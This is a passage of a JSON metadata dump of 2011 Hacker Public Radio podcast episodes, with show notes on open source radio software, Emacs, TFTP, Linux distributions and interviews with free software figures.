    \n\n\n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Blackpool,Barcamp","version":0,"downloads":2094,"valid":1}, {"id":845,"date":"2011-10-27","title":"Open Source Radio Software","duration":459,"summary":"AukonDK leads us on a tour of Open Source Radio Software","notes":"

    \nIn todays show AukonDK leads us on a tour of Open Source Radio Software\n

    \n
    \n

    \nIcecast\nhttps://www.icecast.org/
    \nIcecast, the project, is a collection of programs and libraries for streaming audio over the Internet. This includes: \n

      \n
    • icecast, a program that streams audio data to listeners
    • \n
    • libshout, a library for communicating with Icecast servers
    • \n
    • IceS, a program that sends audio data to Icecast servers
    • \n
    \n

    \n
    \n

    \nBUTT\nhttps://butt.sourceforge.net/
    \nbutt (broadcast using this tool) is an easy to use, multi OS streaming tool.
    \nIt supports ShoutCast and IceCast.
    \nbutt runs on Linux, MacOS and Windows.

    \n
    \n

    \nIDJC\nhttps://idjc.sourceforge.net/
    \n

    \n

    Internet DJ Console is a project started in March 2005 to provide a powerful yet\neasy to use source-client for individuals interested in streaming live radio shows over the\nInternet using Shoutcast or Icecast servers.

    \n

    Because of the large number of streaming applications that already existed but did little more\nthan stream a pair of audio channels or a fixed playlist, it was decided that IDJC would be the opposite\nand simulate audio hardware to cut down the expense of creating a home studio.

    \n\n

    In addition to providing a large number of show production features, this software has been written\nwith the aim of producing the best possible experience for the listeners and DJ alike. To that end features\nlike VoIP integration were conceived of from the very start resulting in the choice of Jack Audio Connection\nKit to base the audio.

    \n\n

    This has afforded IDJC audio processing capabilities that were they built in would be considered excessive. Enjoy\nintegration with powerful programs such as the well known Skype, Jack Rack (offering audio sound effects plugins),\nJamin (the powerful audio compressor/equalizer), and many more.

    \n\n

    Fortunately IDJCs power does not come at the expense of a well organized user interface, nor\nhave requests for features been permitted to diminish the application's intuitive feel yet throughout development\nthe main goals have always been that of stability and audio quality.

    \n
    \n\n

    \nLiquidsoap\nhttps://savonet.sourceforge.net/index.html
    \n

    \n

    \n Liquidsoap is a powerful and flexible language\n for describing your streams.\n It offers a rich collection of operators that you can\n combine at will,\n giving you more power than you need for creating or transforming\n streams.\n But liquidsoap is still very light and easy to use,\n in the Unix tradition of simple strong components working together.\n

    \n
    \n

    \nAirtime\nhttps://www.sourcefabric.org/en/airtime/
    \n

    \n

    Airtime is the open radio software for scheduling and remote station management. Remote access to the station’s media management, multi-file upload and automatic metadata verification is coupled with a collaborative online scheduling calendar and playlist management. The scheduling calendar is managed through an easy-to-use web-interface and triggers audio playout with sub-second precision for fading.

    \n
    \n

    \nRivendell\nhttps://www.rivendellaudio.org/
    \nRivendell \n is a complete radio \n broadcast automation solution, with facilities for the acquisition, \n management, scheduling and playout of audio content. It has all of the \n features one would expect in a modern, fully-fledged radio automation \n system, including support for both PCM and MPEG audio encoding, full \n voicetracking and log customization as well as support for a wide variety \n of third party software and hardware. As a robust, functionally complete \n digital audio system for broadcast radio applications, Rivendell uses \n industry standard components like the GNU/Linux Operating System, the AudioScience HPI Driver \n Architecture and the MySQL Database \n Engine. Rivendell is available under the GNU Public License.\n

    \n
    \n

    \nRAAbuntu\nhttps://rrabuntu.sourceforge.net/
    \n

    \n

    \n Rivendell Radio Automation Live CD installer for Ubuntu. This is a modified version of Ubuntu 10.04. It has been customised using the Ubuntu Customization Kit (UCK) and the Rivendell DEB packages developed by Alban in France. https://blog.tryphon.org/alban/\n\n

    \n\n

    \nFrederick Henderson created all the install scripts for the greatly improved installer\n

    \n
    \n

    \nEmail: aukondk@aukondk.com
    \nTwitter/Identica: aukondk\ngplus.to/aukondk\nwww.aukondk.com
    \n

    ","hostid":191,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"icecast,BUTT,Broadcast Using This Tool,IDJC,Internet DJ Console,Liquidsoap,Airtime,Rivendell,RAAbuntu","version":0,"downloads":2377,"valid":1}, {"id":846,"date":"2011-10-30","title":"Jared Smith from Fedora","duration":960,"summary":"An interview with Jared Smith, the project manager of Fedora Linux","notes":"

    Klaatu, losing his voice from too much Ohio Linux Festivities, interviews Jared Smith, the project manager of Fedora Linux.

    \n

    https://fedoraproject.org/wiki/Fedora_Project_Wiki
    \nhttps://www.jaredsmith.net/\n

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Ohio Linux Fest\",OLF,\"Fedora Project\"","version":0,"downloads":2034,"valid":1}, {"id":847,"date":"2011-10-31","title":"FSCONS, MeeGo and the story of Tizen","duration":1380,"summary":"Interviews from FSCONS relating to MeeGo and Tizen","notes":"

    Who am i?

    \n\n

    Hello everyone, in today's show you will hear my first show on Hacker Public Radio! You may know me as \"Seetee\", or as \"Kenneth from the All In IT Radio podcast\", or most likely, you do not know me at all. Hopefully you will hear more shows from me in the future, though.

    \n\n

    You find me all over the Internet, and you can follow me at both identi.ca and twitter as @alltinomit

    \n\n

    The story in short

    \n\n

    At FSCONS 2010 (https://fscons.org/) I had the privilege to watch many interesting talks. Something that really peeked my interest where the talks of Knut Yrvin and Jeremiah Foster, two talented gentlemen who I was lucky to get a little private interview with as well. Their talks are available on Vimeo, and in this episode of Hacker Public Radio you get to hear my interviews, together with my interpretation of what has happened in the past to lead up to the creation of the operating system Tizen.

    \n\n

    Mentioned links

    \n\n

    Knut Yrvin

    \n

    \"Qt on MeeGo\" (https://vimeo.com/22229208)

    \n\n

    Jeremiah Foster

    \n

    \"GENIVI alliance and how biz can adapt FOSS\" (https://vimeo.com/21970744)

    \n\n

    All In IT Radio - Should Cars Get Smarter?

    \n

    Me and my mates talk more about MeeGo. This was just before the Tizen announcement. We cover a bit more of the thoughts around this emerging market. (https://aiit.se/radio/0007)

    \n\n

    Further reading

    \n\n","hostid":192,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FSCONS","version":0,"downloads":2175,"valid":1}, {"id":848,"date":"2011-11-01","title":"Alan Cocks, the info point project","duration":584,"summary":"An interview with Alan Cocks at Oggcamp 11","notes":"

    \nIn todays show Ken talks to Alan Cocks about the info point project setup by Jono Bacon. It is an outreach program to get the message of open source to visitors at and how he has spread the open source message at the Bracknell Computer Fair each month
    https://www.britishcomputerfairs.com/cgi-bin/floorplan?vnu_id=5\n
    \n\nhttps://infopointproject.org/wordpress/
    \nEditor's Note: The above site is no longer available. The link refers to the last copy made on the Wayback Machine

    \n\n
    From HPR @ OggCamp11
    \n\n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"\"Info Point Project\",\"Bracknell Computer Fair\"","version":0,"downloads":2141,"valid":1}, {"id":849,"date":"2011-11-02","title":"Sunday Morning Linux Review","duration":2653,"summary":"SMLR episode 3","notes":"

    \nEach Thursday we play Syndicated creative commons content. In todays show we focus on Sunday Morning Linux Review with Mat and Tony, a weekly news show for the Linux community
    \nhttps://www.smlr.us
    \n

    \n

    \nWith:
    \nTony Bemus from https://www.bemushosting.com
    \nMat Enders from https://www.charter-school-it-techs.com
    \n

    \n

    \nKernel News: Mat
    \nThe Current Development kernel 3.2
    \nThe Stable release is 3.1
    \n

    \n

    \nDistro News: Tony
    \nDistrowatch.com
    \n10-27 SalineOS 1.5 Debian-based distribution with Xfce
    \n

    \n

    \n10-25 Puppy Linux 5.3 Slacko binary compatibility with Slackware Linux
    \nLast week releases: ZevenOS 2.0 Neptune and Finnix 103
    \n

    \n

    \nComing up: FreeBSD 9.0 and openSUSE 12.1\n

    \n

    \nDistro of the Week:
    \nMint
    \nUbuntu
    \nopenSUSE
    \nFedora
    \nDebian
    \nOther Distro News:
    \n

    \n

    \nTech News:
    \nAmazon Introduces New Ebook Format
    \nThe new file format, Kindle Format 8 (KF8), is based on HTML5, and with it, Amazon aims to bring some of the flexibility and power that HTML5 offers to the world of e-books. HTML5 features such as CSS3 formatting, nested tables, SVG graphics, embedded fonts, and borders are all now supported. The new format includes much richer layout options, including fixed layoutsessential for accurate reproduction of many childrens booksand panel-based layouts for comic books. Books can include sidebars and callouts, text overlaid on background images, boxes, drop caps, and more.\n

    \n

    \nOpen Source: You Know, For Kids!
    \nRecently SCALE announced that the 2012 event, January 20-22 in Los Angeles, will include a SCALE Kids Conference\n

    \n

    \nMore about: ICANN is Taking Over the Olson Time Zone Database Astrolabe not looking for money but just wanted to make a point about infringement.\n

    \n

    \nOther Talk:
    \nApple Threatens Small, Family-Run Caf Over Trademark
    \nApple is threatening to sue a small, family run caf in Bonn because they are of the opinion that their logo infringes on Apples trademark. The owner of the caf Apfelkind, Christin Rmer, has registered her logo as a trademark for the service and fashion industry in June in Munich. Now Apple is claiming in a cease and desist letter that there could be confusion between the small caf in Bonn and their global entertainment brand.\n

    \n

    \nLinux Malware: Are We There Yet?
    \nUntrusted package sources
    \nBots, rootkits and unknown commands
    \n

    \n

    \nMore Talk:
    \nTonys Projects: XBMCbuntu HTPC: Fast Boot, Internet content, Local and network Content!
    \nMats Projects: PFsense\n

    \n\t","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"SMLR,Sunday Morning Linux Review","version":0,"downloads":2122,"valid":1}, {"id":850,"date":"2011-11-03","title":"Another Tech Giant Passes - Household Tech in the Pre-Micro Era","duration":1923,"summary":"Remembering some pioneering greats in the tech field","notes":"

    In today's show Mr Gadgets pauses to remember the passing of some pioneering greats in the tech field. He focuses on personal heroes who have had a profound impact on the direction of his life.

    \n\n\n\n

    Edgar Villchur

    \n

    \nFrom Wikipedia, the free encyclopedia (https://en.wikipedia.org/wiki/Edgar_Villchur)\n

    \n

    \nEdgar Marion Villchur (28 May 1917 - 17 October 2011) was an American inventor, educator, and writer widely known for his 1954 invention of the acoustic suspension loudspeaker which revolutionized the field of high-fidelity equipment. A speaker Villchur developed, the AR-3, is exhibited at the The Smithsonian Institutions Information Age Exhibit in Washington, DC.
    \nVillchur's speaker systems provided improved bass response while reducing the speaker's cabinet size. Acoustic Research, Inc. (AR), of which he was president from 1954 to 1967, manufactured high-fidelity loudspeakers, turntables, and other stereo components of his design, and demonstrated their quality through live vs. recorded concerts. The companys market share grew to 32 percent by 1966. After leaving AR, Villchur researched hearing aid technology, developing the multichannel compression hearing aid, which became the industry standard for hearing aids.\n

    \n

    Henry Kloss

    \n

    \nFrom Wikipedia, the free encyclopedia (https://en.wikipedia.org/wiki/Henry_Kloss)\n

    \n

    \nHenry Kloss (1929, Altoona, PA - January 31, 2002, Cambridge, MA) was a prominent American audio engineer and businessman who helped advance high fidelity loudspeaker and radio receiver technology beginning in the 1950s. Kloss (pronounced with a long o, like \"close\") was an undergraduate student in physics at Massachusetts Institute of Technology (class of 1953), but never received a degree. He was responsible for a number of innovations, including the acoustic suspension loudspeaker and the high fidelity cassette deck. In 2000, Kloss was one of the first inductees into the Consumer Electronics Association's Hall of Fame. He earned an Emmy Award for his development of a projection television system, the Advent Video Beam 1000.\n

    \n

    Acoustic Research

    \n

    \nFrom Wikipedia, the free encyclopedia (https://en.wikipedia.org/wiki/Acoustic_Research)\n

    \n

    \nAcoustic Research was a Cambridge, Massachusetts-based company that manufactured high-end audio equipment. The brand is now owned by Audiovox. Acoustic Research was well known for the AR-3 series of speaker systems, which used the 12-inch (305 mm) acoustic suspension woofer of the AR-1 with newly designed dome mid-range and high-frequency drivers, which were the first of their kind. AR's line of acoustic suspension speakers were extraordinary for their time, as they were the first loudspeakers with flat response, extended bass, wide dispersion, small size, and reasonable cost.\n

    \n

    \nhttps://homepage.mac.com/oldtownman/recording/villchur.html\n

    ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Edgar Villchur\",\"Henry Kloss\",\"Acoustic Research\"","version":0,"downloads":2229,"valid":1}, {"id":851,"date":"2011-11-04","title":"HPR Community News for Oct 2011","duration":1358,"summary":"HPR Community News for Oct 2011","notes":"

    HPR Community News

    \n

    New hosts

    \n

    Welcome to our new host: Seetee

    \n

    Show Review

    \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    idtitlehost
    826HPR Community News for Sep 2011HPR Admins
    827HPR booth and HostGatorklaatu
    828a+g=-bMrGadgets
    829Interview with Prof Jocelyn Bell-BurnellHPR Admins
    830Peter Hutterer Interview at X.Org Developer Conference (XDC) 2011marcoz
    831Chris from Sourceforge.netklaatu
    832OggCamp11 RoundupKen Fallon
    833Ian Romanick Interview at X.Org Developer Conference (XDC) 2011marcoz
    834The Knightcast KC0056 : Best of KWTV LiveKnightwise
    835Amazon sets the world on FireMrGadgets
    836Jeff from No Machineklaatu
    837Juergen Schinker open wireless networkKen Fallon
    838Martin Peres @ XDCmarcoz
    839Full Circle Podcast: The Lubuntu TeamRobin Catling
    840Android Shoppingcobra2
    841Jonathan Nadeauklaatu
    842DJ from h-online.comKen Fallon
    843What holiday tech itemMrGadgets
    844The Flying HandbagHPR Admins
    845Open Source Radio SoftwareAukonDK
    846Jared Smith from Fedoraklaatu
    847FSCONS, MeeGo and the story of TizenSeetee
    848Alan Cocks, the info point projectKen Fallon
    849Sunday Morning Linux ReviewHPR Admins
    850Another Tech Giant Passes - Household Tech in the Pre-Micro EraMrGadgets
    \n

    Thanks To

    \n
      \n
    • Stitcher for feedback on the intro
    • \n
    \n

    Apologies To

    \n
      \n
    • Seetee for the mixup in the show scheduling
    • \n
    \n

    Contribute Shows

    \n

    We're short of shows so please stop procrastinating and record that show today. https://hackerpublicradio.org/contribute.php has more information on how to do that.

    ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2508,"valid":1}, {"id":852,"date":"2011-11-07","title":"GNU Emacs 1","duration":1933,"summary":"Part 1 of a mini series on GNU Emacs","notes":"

    A small mini series (three parts) on GNU Emacs; Klaatu tells you how to use it, when to use it and when not to, why you'd want to use it, and most of all - how to become a pro on it! Not a sales pitch for Emacs, just a harmless introduction. First try is free.

    \n

    \n\"emacs\n

    \n

    GNU Emacs is an extensible, customizable text editor—and\nmore. At its core is an interpreter for Emacs Lisp, a dialect of\nthe Lisp programming language with extensions to\nsupport text editing. The features of GNU Emacs include:

    \n
      \n
    • Content-sensitive editing modes, including syntax coloring, for a\nvariety of file types including plain text, source code, and\nHTML.
    • \n
    • Complete built-in documentation, including a tutorial for new\nusers.
    • \n
    • Full Unicode support for nearly\nall human languages and their scripts.
    • \n
    • Highly customizable, using Emacs Lisp code or a graphical\ninterface.
    • \n
    • A large number of extensions that add other functionality, including a project planner, mail and news reader, debugger\ninterface,\ncalendar, and more. Many of these extensions are distributed with GNU Emacs; others are available separately.
    • \n
    \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"GNU Emacs\",\"text editor\",\"Emacs Lisp\"","version":0,"downloads":2635,"valid":1}, {"id":853,"date":"2011-11-08","title":"Pat Volkerding of Slackware Linux chats with Klaatu","duration":2888,"summary":"Pat Volkerding of Slackware Linux at the SELF afterparty","notes":"

    Pat Volkerding of Slackware Linux chats with Klaatu and whomever happens to wander by (Maco, Vincent Batts, Chad Wallenberg, and others) at the SELF afterparty.
    \n

    \n\n

    Slackware

    \n

    From Wikipedia, the free encyclopedia

    \n

    \nSlackware is a free and open source Linux-based operating system. It was one of the earliest operating systems to be built on top of the Linux kernel and is the oldest currently being maintained. Slackware was created by Patrick Volkerding of Slackware Linux, Inc. in 1993. The current stable version is 13.37, released on April 27, 2011.
    \nSlackware aims for design stability and simplicity, and to be the most \"Unix-like\" Linux distribution, making as few modifications as possible to software packages from upstream and using plain text files and a small set of shell scripts for configuration and administration.\n

    \n\n\n

    \"photo\n

    \n\n

    Warning: this is not a proper interview, just 40 minutes of aimless and fairly noisy chit chat at a party.\nSo it's probably not for everyone, although if you're a Slackware fan then it might be of some interest.

    \n

    \nhttps://www.slackware.com/
    \nhttps://en.wikipedia.org/wiki/Patrick_Volkerding
    \nhttps://en.wikipedia.org/wiki/Slackware
    \n

    \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Slackware","version":0,"downloads":4321,"valid":1}, {"id":854,"date":"2011-11-09","title":"All In IT Radio0007 - Should Cars Get Smarter ?","duration":4319,"summary":"Syndicated Thursday welcomes All In IT Radio","notes":"\n

    Welcome to syndicated Thursday on Hacker Public Radio

    \n

    \nToday we hilight the Hello and welcome to All In IT Radio! https://aiit.se/radio/\n

    \n\n
    \n

    Hello and welcome to All In IT Radio!

    \n

    Join us as we talk about everything related to Information Technology, and some other random stuff as well.\n Help us, as we try to find how IT relate to everyone of us, and what the story headlines really mean.

    \n

    This is a show made by Swedes, in english. Some think this is endearing, other think it is stupid. You are welcome to listen to us strugle with the language barrier any way.

    \n

    On your right, you find the episodes, at the bottom you can (and should) subscribe to our feed and in the upper right corner you can stream the latest show.

    \n

    We release a new episode when we feel like it.

    \n\n

    Welcome to All In IT Radio! :-)

    \n\n

    Episode 0007 - Should Cars Get Smarter?

    \n
    Subscribe!
    Then you won't miss any new shows. There are feeds for both ogg and mp3. You may also find other formats at Archive.org.
    \n\n

    How intelligent should your car really be? What will happen to the MeeGo operating system now that Nokia has abandoned the project? Will the new guy contribute to the show in any way? (Spoiler: He did.)

    \n\n

    Duration: 56:05

    \n\n\n
    Show notes
    \n

    On it's way...

    \n\n\n\n
    Let us wrap this up!
    \n

    To reach us: Send your message to the group !aiitr at Identi.ca or mark it with hashtag #aiitr at Twitter, you find us at both Identi.ca and Twitter at @AlltInomIT and you find Henrik at @Sonnergard and @Warpfuz.

    \n\n

    Theme music today by The Motyw / Wojciech Wszelaki.
    \nMusic is CC BY-SA 3.0

    \n","hostid":192,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"\"Intelligent cars\",Nokia,Meego","version":0,"downloads":2094,"valid":1}, {"id":855,"date":"2011-11-10","title":"Packaging for your distro","duration":563,"summary":"The advantages of packaging content for your distro","notes":"

    \nIn this episode Mike tries to highlight the advantages of packaging content for your distro. 
    \n
    \nThe Ubuntu content packaging team can be found at : https://bit.ly/cpackage
    \n
    \nMore articles about content packaging can be found at https://www.titaniumbunker.com
    \n
    \nMike can be reached at  mike@titaniumbunker.com
    \n
    \n

    ","hostid":185,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp,Ubuntu,PPA","version":0,"downloads":2160,"valid":1}, {"id":856,"date":"2011-11-11","title":"GNU Emacs 2","duration":2349,"summary":"Part 2 of a mini series on GNU Emacs","notes":"

    Second episode of three in Klaatu's GNU Emacs mini series. This time, you and Klaatu will tackle the .emacs file and learn how to bring text highlighting, modern-style copy/paste keybindings, and even a little taste of buffers and frame-type things.

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"GNU Emacs\",.emacs,buffer,frame","version":0,"downloads":2286,"valid":1}, {"id":857,"date":"2011-11-14","title":"Sam Tuke - Free Software Foundation Europe","duration":507,"summary":"An interview wth Sam Tuke the British Team Coordinator and Editorial Team co-ordinator for the FSFE","notes":"

    \n\"fsfe
    \nIn todays show we interview Sam Tuke the British Team Coordinator and Editorial Team co-ordinator for the Free Software Foundation Europe\n

    \n\n

    \"Photo

    \n

    \nThe Free Software Foundation Europe is dedicated to the furthering of Free Software and working for freedom in the emerging digital society.\n
    \nAccess to software determines who may participate in a digital society. The freedoms to use, study, share, and improve software allow equal participation, and are extremely important.
    \nhttps://fsfe.org/
    \nhttps://fsfe.org/about/tuke/tuke.en.html
    \nhttps://www.fsf.org/
    \nhttps://oggcamp.org\n

    \n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp,\"Free Software Foundation Europe\",FSFE,FSF","version":0,"downloads":1989,"valid":1}, {"id":858,"date":"2011-11-15","title":"Pre micro computer tech in the home #2","duration":2036,"summary":"Children's access to science in the 1960s","notes":"

    \nIn today's show Mr Gadgets talks about the access children of the space age had to science\n

    \n

    The Golden Book of Chemistry Experiments

    \n

    \n\"a
    \nThe Golden Book of Chemistry Experiments was a children's chemistry book written in the 1960s by Robert Brent and illustrated by Harry Lazarus and published by Western Publishing in their Golden Books series. Many of the experiments contained in the book are now considered \"dangerous for unsupervised children\"[citation needed], and would not appear in a modern children's chemistry book[citation needed]. OCLC lists only 126 copies of this book in libraries worldwide.
    \nThe book was a source of inspiration to David Hahn, nicknamed \"the Radioactive Boy Scout\" by the media, who tried to collect a sample of every chemical element and also built a model nuclear reactor, which led to the involvement of the authorities.
    \n\nFrom Wikipedia, the free encyclopedia https://en.wikipedia.org/wiki/The_Golden_Book_of_Chemistry_Experiments
    \nhttps://www.scribd.com/doc/21654883/The-Golden-Book-of-Chemistry-Experiments\n

    \n
    \n\n","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Chemistry,\"The Golden Book of Chemistry Experiments\"","version":0,"downloads":2113,"valid":1}, {"id":859,"date":"2011-11-16","title":"Sourcetrunk: OwnCloud","duration":1995,"summary":"Syndicated Thursday welcomes Sourcetrunk","notes":"

    Welcome to syndicated Thursday on Hacker Public Radio

    \n

    \nToday we highlight:

    \n

    Sourcetrunk ~ your trunkload of open source

    \n

    \n\"The
    \nhttps://www.sourcetrunk.com
    \nThis show is released under cc-by-nc-sa
    \n\n

    \n\n
    \n

    Sourcetrunk (Episode 077) : OwnCloud

    \n

    \nOriginally aired on on Mon, 2011-11-14 20:36\n

    \n

    \n\"\" \"\"

    \n

    This episode will demonstrate OwnCloud, the Open Source solution for your own cloud where you can manage your files, bookmarks, contacts and appointments without security or privacy issues. (and even can listen to your own music while doing that)

    \n

    \n\n

    OwnCloud
    OwnCloud Demo
    install OwnCloud
    contribute to OwnCloud

    \n

    Android pick : Tivo Commander

    \n

    music from Tag
    \ntheme from Brand New Sin on music.podshow.com
    \n\nBeer on this episode : Wieze Tripel

    \n

    \"\"   \"\"\n\n

    \nhttps://www.sourcetrunk.com/podcasts/sourcetrunk_077.mp3
    \nhttps://www.sourcetrunk.com/podcasts/sourcetrunk_077.ogg
    \nhttps://owncloud.org/
    \nhttps://demo.owncloud.org/files/index.php
    \nhttps://owncloud.org/install/
    \nhttps://owncloud.org/contribute/
    \nhttps://market.android.com/details?id=com.arantius.tivocommander&hl=en
    \nhttps://www.musicalley.com/music/listeners/artistdetails.php?BandHash=5848a0485a0f4eff28c22288a2396a57
    \nhttps://music.podshow.com/music/listeners/artistdetails.php?BandHash=96f18a09714d01b833268854cf39d82c
    \nhttps://music.podshow.com
    \n

    \n","hostid":30,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"OwnCloud","version":0,"downloads":2157,"valid":1}, {"id":860,"date":"2011-11-18","title":"Kaizendo, GNU Parallel and some more FSCONS","duration":1576,"summary":"Two interviews from FSCONS 2010","notes":"

    Interviews and a look at FSCONS 2011

    \n\n

    Today you will hear two interviews from FSCONS 2010. The audio is of \"conference quality\", that is, there are a lot of noice in the background. Not much to do about that, I am sorry. But it is two really great interviews, so well worth it!

    \n\n

    But as a start I have a look at what will take place during the coming FSCONS 2011, that will start 2011-11-11 and continue through the whole weekend. I read from the schedule, and mention some of the topics and presenters who will be there.

    \n\n\n\n

    Salve J. Nilsen - Kaizendo: Customizable schoolboks

    \n\n

    Imagine a schoolbook where the pupil and her teacher can choose the topic depth, clarity of text and homework difficulty as needed and necessary.

    \n\n

    Add alternatives for teachers (supporting different instructional methods, teaching styles), schools (variations in chapter content based on time constraints or policy) and parents (having a topic summary to read before helping with homework.) This is what we mean with customizable textbooks.

    \n\n\n\n\n

    Ole Tange - GNU Parallel

    \n\n

    GNU parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU parallel can then split the input and pipe it into commands in parallel.

    \n\n\n\n\n

    Shameless plugs

    \n\n

    You should follow me on Identi.ca and Twitter: @alltinomit or subscribe to All In IT Radio at https://aiit.se/radio/ By the way, we now also have a Google+ Page, find it at https://aiit.se/radio/+

    \n","hostid":192,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FSCONS","version":0,"downloads":2210,"valid":1}, {"id":861,"date":"2011-11-20","title":"Emacs Part 3: The Reckoning.","duration":1097,"summary":"Third and final episode of a mini series on GNU Emacs","notes":"

    \nA small mini series (three parts) on GNU Emacs; Klaatu tells you how to use it, when to use it and when not to, why you'd want to use it, and most of all - how to become a pro on it! Not a sales pitch for Emacs, just a harmless introduction. First try is free.

    \n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"GNU Emacs\",buffer,minibuffer,frame,window","version":0,"downloads":2234,"valid":1}, {"id":862,"date":"2011-11-21","title":"Breaking Down TFTP","duration":1605,"summary":"TFTP, what it's good for and what makes it tick","notes":"

    In the inaugural episode of Breaking Down Protocols, I dig into TFTP, what it's good for and what makes it tick.
    \nYou can contact Kevin on identi.ca as @kevingranade
    \n

    \n

    \nThe original rfc
    \nhttps://www.ietf.org/rfc/rfc783.txt
    \n
    The errata
    \nhttps://www.ietf.org/rfc/rfc1123.txt
    \n
    An update
    \nhttps://www.ietf.org/rfc/rfc1350.txt
    \n
    The option extension
    \nhttps://www.ietf.org/rfc/rfc1782.txt
    \nhttps://www.ietf.org/rfc/rfc1783.txt
    \nhttps://www.ietf.org/rfc/rfc1784.txt
    \n
    An update to option extension
    \nhttps://www.ietf.org/rfc/rfc2347.txt
    \nhttps://www.ietf.org/rfc/rfc2348.txt
    \nhttps://www.ietf.org/rfc/rfc2349.txt
    \n
    The multicast RFC.
    \nhttps://www.ietf.org/rfc/rfc2090.txt
    \n

    \n

    Trivial File Transfer Protocol

    \n

    From Wikipedia, the free encyclopedia

    \n

    https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol

    \n\n

    \nTrivial File Transfer Protocol (TFTP) is a file transfer protocol known for its simplicity.[citation needed] It is generally used for automated transfer of configuration or boot files between machines in a local environment. Compared to FTP, TFTP is extremely limited, providing no authentication, and is rarely used interactively by a user.
    \n
    \nDue to its simple design, TFTP could be implemented using a very small amount of memory. It is therefore useful for booting computers such as routers which may not have any data storage devices. It is an element of the Preboot Execution Environment (PXE) network boot protocol, where it is implemented in the firmware BIOS of the host's network card.
    \n
    \nIt is also used to transfer small amounts of data between hosts on a network, such as IP phone firmware or operating system images when a remote X Window System terminal or any other thin client boots from a network host or server. The initial stages of some network based installation systems (such as Solaris Jumpstart, Red Hat Kickstart, Symantec Ghost and Windows NT's Remote Installation Services) use TFTP to load a basic kernel that performs the actual installation.
    \n
    \nTFTP was first defined in 1980 by IEN 133.[1] It is currently defined by RFC 1350. There have been some extensions to the TFTP protocol documented in later RFC's (see the section on Extensions, below). TFTP is based in part on the earlier protocol EFTP, which was part of the PUP protocol suite. TFTP support appeared first as part of 4.3 BSD.
    \n
    \nDue to the lack of security, it is dangerous to use it over the Internet. Thus, TFTP is generally only used on private, local networks.\n

    ","hostid":193,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Trivial File Transfer Protocol\",TFTP,\"Preboot Execution Environment\",PXE","version":0,"downloads":2479,"valid":1}, {"id":863,"date":"2011-11-22","title":"Tony Hughes Free Cycle","duration":450,"summary":"In today's show Ken talks to Tony Hughes about how he got into Linux","notes":"

    The Freecycle Network

    \n

    \n
    \nFrom Wikipedia, the free encyclopedia
    \nhttps://en.wikipedia.org/wiki/The_Freecycle_Network
    \n
    \nThe Freecycle Network (often abbreviated TFN or just known as Freecycle) is a non-profit organization registered in the state of Arizona, USA, and separately registered as a UK charity, that organizes a worldwide network of \"gifting\" groups, aiming to divert reusable goods from landfills. It provides a worldwide online registry, and coordinates the creation of local groups and forums for individuals and non-profits to offer and receive free items for reuse or recycling, promoting gift economics as a motivating cultural outlook. \"Changing the world one gift at a time\" is The Freecycle Network's official tagline.
    \nhttps://www.freecycle.org/
    \n

    \n

    Xubuntu

    \n

    \nXubuntu is a community developed, Ubuntu-based Linux operating system that is well-suited for both laptops and desktops. It contains all the applications you need - a web browser, document and spreadsheet editing software, instant messaging and much more.\nhttps://www.xubuntu.org/\n

    \n

    LibreOffice

    \n

    \n\n
    \nLibreOffice is the power-packed free, libre and open source personal productivity suite for Windows, Macintosh and GNU/Linux, that gives you six feature-rich applications for all your document production and data processing needs: Writer, Calc, Impress, Draw, Math and Base. Support and documentation is free from our large, dedicated community of users, contributors and developers. You, too, can get involved!
    \nhttps://www.libreoffice.org/\n

    \n

    Ucubed

    \n

    \n\n
    \nWhat is Ucubed?
    \nUCubed is an event that focuses on Ubuntu and Debian based distributions, and encourages users to become more involved in the community.
    \nhttps://ucubed.info/\n

    \n

    Software Freedom Day

    \n

    \nSoftware Freedom Day is a global celebration and education of why transparent and sustainable technologies are now more important than ever. With over 200 teams in 60 countries participating, it is a fantastic event to get your schools and communities involved in. Go along to your local event or start your own event and meet a wide range of people, all working together to help ensure our freedoms are maintained by the technologies of tomorrow.
    \n\nhttps://softwarefreedomday.org/\n

    \n

    BLACKPOOL LUG

    \n\n

    \n\nhttps://blackpoollug.blogspot.com/\n
    \n\n\"lugs.org.uk\"
    \n
    \n\n
    \n
    \nBLACKPOOL LUG membership is free, no sign up required.
    \nJust turn up, or follow us here, or on the mailing list, Twitter, Facebook, or RSS.
    \n
    \n
    \nmailing list, subscribe here:- https://mailman.lug.org.uk/mailman/listinfo/blackpool/
    \npost to:- blackpool@mailman.lug.org.uk
    \nRead list: list archives here
    \n\n
    \nThe facebook page is here
    \n
    \nTwitter:- @blacc2
    \n
    \n RSS Subscribe
    \n
